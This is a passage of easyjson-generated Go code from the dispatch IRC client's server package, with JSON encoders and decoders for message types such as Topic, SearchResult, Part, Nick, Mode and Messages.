in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer4(out *jwriter.Writer, in Userlist) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if len(in.Users) != 0 { const prefix string = ",\"users\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v5, v6 := range in.Users { if v5 > 0 { out.RawByte(',') } out.String(string(v6)) } out.RawByte(']') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Userlist) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer4(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Userlist) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer4(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Userlist) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer4(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Userlist) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer4(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer5(in *jlexer.Lexer, out *Topic) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "topic": out.Topic = string(in.String()) case "nick": out.Nick = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer5(out *jwriter.Writer, in Topic) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.Topic != "" { const prefix string = ",\"topic\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Topic)) } if in.Nick != "" { const prefix string = ",\"nick\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Nick)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Topic) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer5(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Topic) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer5(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Topic) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer5(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Topic) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer5(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer6(in *jlexer.Lexer, out *Tab) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "name": out.Name = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer6(out *jwriter.Writer, in Tab) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Tab) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer6(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Tab) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer6(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Tab) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer6(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Tab) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer6(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer7(in *jlexer.Lexer, out *SearchResult) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "results": if in.IsNull() { in.Skip() out.Results = nil } else { in.Delim('[') if out.Results == nil { if !in.IsDelim(']') { out.Results = make([]storage.Message, 0, 0) } else { out.Results = []storage.Message{} } } else { out.Results = (out.Results)[:0] } for !in.IsDelim(']') { var v7 storage.Message easyjson42239ddeDecodeGithubComKhliengDispatchStorage(in, &v7) out.Results = append(out.Results, v7) in.WantComma() } in.Delim(']') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer7(out *jwriter.Writer, in SearchResult) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if len(in.Results) != 0 { const prefix string = ",\"results\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v8, v9 := range in.Results { if v8 > 0 { out.RawByte(',') } easyjson42239ddeEncodeGithubComKhliengDispatchStorage(out, v9) } out.RawByte(']') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v SearchResult) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer7(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v SearchResult) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer7(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *SearchResult) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer7(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *SearchResult) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer7(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchStorage(in *jlexer.Lexer, out *storage.Message) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "from": out.From = string(in.String()) case "content": out.Content = string(in.String()) case "time": out.Time = int64(in.Int64()) case "events": if in.IsNull() { in.Skip() out.Events = nil } else { in.Delim('[') if out.Events == nil { if !in.IsDelim(']') { out.Events = make([]storage.Event, 0, 1) } else { out.Events = []storage.Event{} } } else { out.Events = (out.Events)[:0] } for !in.IsDelim(']') { var v10 storage.Event easyjson42239ddeDecodeGithubComKhliengDispatchStorage1(in, &v10) out.Events = append(out.Events, v10) in.WantComma() } in.Delim(']') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchStorage(out *jwriter.Writer, in storage.Message) { out.RawByte('{') first := true _ = first if in.From != "" { const prefix string = ",\"from\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.From)) } if in.Content != "" { const prefix string = ",\"content\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Content)) } if in.Time != 0 { const prefix string = ",\"time\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int64(int64(in.Time)) } if len(in.Events) != 0 { const prefix string = ",\"events\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v11, v12 := range in.Events { if v11 > 0 { out.RawByte(',') } easyjson42239ddeEncodeGithubComKhliengDispatchStorage1(out, v12) } out.RawByte(']') } } out.RawByte('}') } func easyjson42239ddeDecodeGithubComKhliengDispatchStorage1(in *jlexer.Lexer, out *storage.Event) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "type": out.Type = string(in.String()) case "params": if in.IsNull() { in.Skip() out.Params = nil } else { in.Delim('[') if out.Params == nil { if !in.IsDelim(']') { out.Params = make([]string, 0, 4) } else { out.Params = []string{} } } else { out.Params = (out.Params)[:0] } for !in.IsDelim(']') { var v13 string v13 = string(in.String()) out.Params = append(out.Params, v13) in.WantComma() } in.Delim(']') } case "time": out.Time = int64(in.Int64()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchStorage1(out *jwriter.Writer, in storage.Event) { out.RawByte('{') first := true _ = first if in.Type != "" { const prefix string = ",\"type\":" first = false out.RawString(prefix[1:]) out.String(string(in.Type)) } if len(in.Params) != 0 { const prefix string = ",\"params\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v14, v15 := range in.Params { if v14 > 0 { out.RawByte(',') } out.String(string(v15)) } out.RawByte(']') } } if in.Time != 0 { const prefix string = ",\"time\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int64(int64(in.Time)) } out.RawByte('}') } func easyjson42239ddeDecodeGithubComKhliengDispatchServer8(in *jlexer.Lexer, out *SearchRequest) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "phrase": out.Phrase = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer8(out *jwriter.Writer, in SearchRequest) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.Phrase != "" { const prefix string = ",\"phrase\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Phrase)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v SearchRequest) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer8(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v SearchRequest) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer8(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *SearchRequest) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer8(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *SearchRequest) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer8(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer9(in *jlexer.Lexer, out *ReconnectSettings) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "skipVerify": out.SkipVerify = bool(in.Bool()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer9(out *jwriter.Writer, in ReconnectSettings) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.SkipVerify { const prefix string = ",\"skipVerify\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Bool(bool(in.SkipVerify)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ReconnectSettings) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer9(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ReconnectSettings) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer9(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ReconnectSettings) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer9(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ReconnectSettings) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer9(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer10(in *jlexer.Lexer, out *Raw) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "message": out.Message = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer10(out *jwriter.Writer, in Raw) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Message != "" { const prefix string = ",\"message\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Message)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Raw) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer10(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Raw) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer10(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Raw) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer10(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Raw) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer10(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer11(in *jlexer.Lexer, out *Quit) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "user": out.User = string(in.String()) case "reason": out.Reason = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer11(out *jwriter.Writer, in Quit) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } if in.Reason != "" { const prefix string = ",\"reason\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Reason)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Quit) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer11(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Quit) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer11(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Quit) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer11(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Quit) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer11(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer12(in *jlexer.Lexer, out *Part) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "user": out.User = string(in.String()) case "channel": out.Channel = string(in.String()) case "channels": if in.IsNull() { in.Skip() out.Channels = nil } else { in.Delim('[') if out.Channels == nil { if !in.IsDelim(']') { out.Channels = make([]string, 0, 4) } else { out.Channels = []string{} } } else { out.Channels = (out.Channels)[:0] } for !in.IsDelim(']') { var v16 string v16 = string(in.String()) out.Channels = append(out.Channels, v16) in.WantComma() } in.Delim(']') } case "reason": out.Reason = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer12(out *jwriter.Writer, in Part) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if len(in.Channels) != 0 { const prefix string = ",\"channels\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v17, v18 := range in.Channels { if v17 > 0 { out.RawByte(',') } out.String(string(v18)) } out.RawByte(']') } } if in.Reason != "" { const prefix string = ",\"reason\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Reason)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Part) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer12(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Part) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer12(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Part) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer12(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Part) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer12(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer13(in *jlexer.Lexer, out *NickFail) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer13(out *jwriter.Writer, in NickFail) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v NickFail) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer13(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v NickFail) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer13(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *NickFail) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer13(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *NickFail) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer13(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer14(in *jlexer.Lexer, out *Nick) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "oldNick": out.Old = string(in.String()) case "newNick": out.New = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer14(out *jwriter.Writer, in Nick) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Old != "" { const prefix string = ",\"oldNick\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Old)) } if in.New != "" { const prefix string = ",\"newNick\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.New)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Nick) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer14(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Nick) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer14(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Nick) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer14(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Nick) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer14(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer15(in *jlexer.Lexer, out *NetworkName) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "name": out.Name = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer15(out *jwriter.Writer, in NetworkName) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v NetworkName) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer15(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v NetworkName) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer15(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *NetworkName) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer15(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *NetworkName) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer15(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer16(in *jlexer.Lexer, out *Mode) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } out.Mode = new(irc.Mode) in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "user": out.User = string(in.String()) case "add": out.Add = string(in.String()) case "remove": out.Remove = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer16(out *jwriter.Writer, in Mode) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } if in.Add != "" { const prefix string = ",\"add\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Add)) } if in.Remove != "" { const prefix string = ",\"remove\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Remove)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Mode) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer16(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Mode) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer16(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Mode) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer16(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Mode) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer16(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer17(in *jlexer.Lexer, out *Messages) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "to": out.To = string(in.String()) case "messages": if in.IsNull() { in.Skip() out.Messages = nil } else { in.Delim('[') if out.Messages == nil { if !in.IsDelim(']') { out.Messages = make([]storage.Message, 0, 0) } else { out.Messages = []storage.Message{} } } else { out.Messages = (out.Messages)[:0] } for !in.IsDelim(']') { var v19 storage.Message easyjson42239ddeDecodeGithubComKhliengDispatchStorage(in, &v19) out.Messages = append(out.Messages, v19) in.WantComma() } in.Delim(']') } case "prepend": out.Prepend = bool(in.Bool()) case "next": out.Next = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer17(out *jwriter.Writer, in Messages) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.To != "" { const prefix string = ",\"to\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.To)) } if len(in.Messages) != 0 { const prefix string = ",\"messages\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v20, v21 := range in.Messages { if v20 > 0 { out.RawByte(',') } easyjson42239ddeEncodeGithubComKhliengDispatchStorage(out, 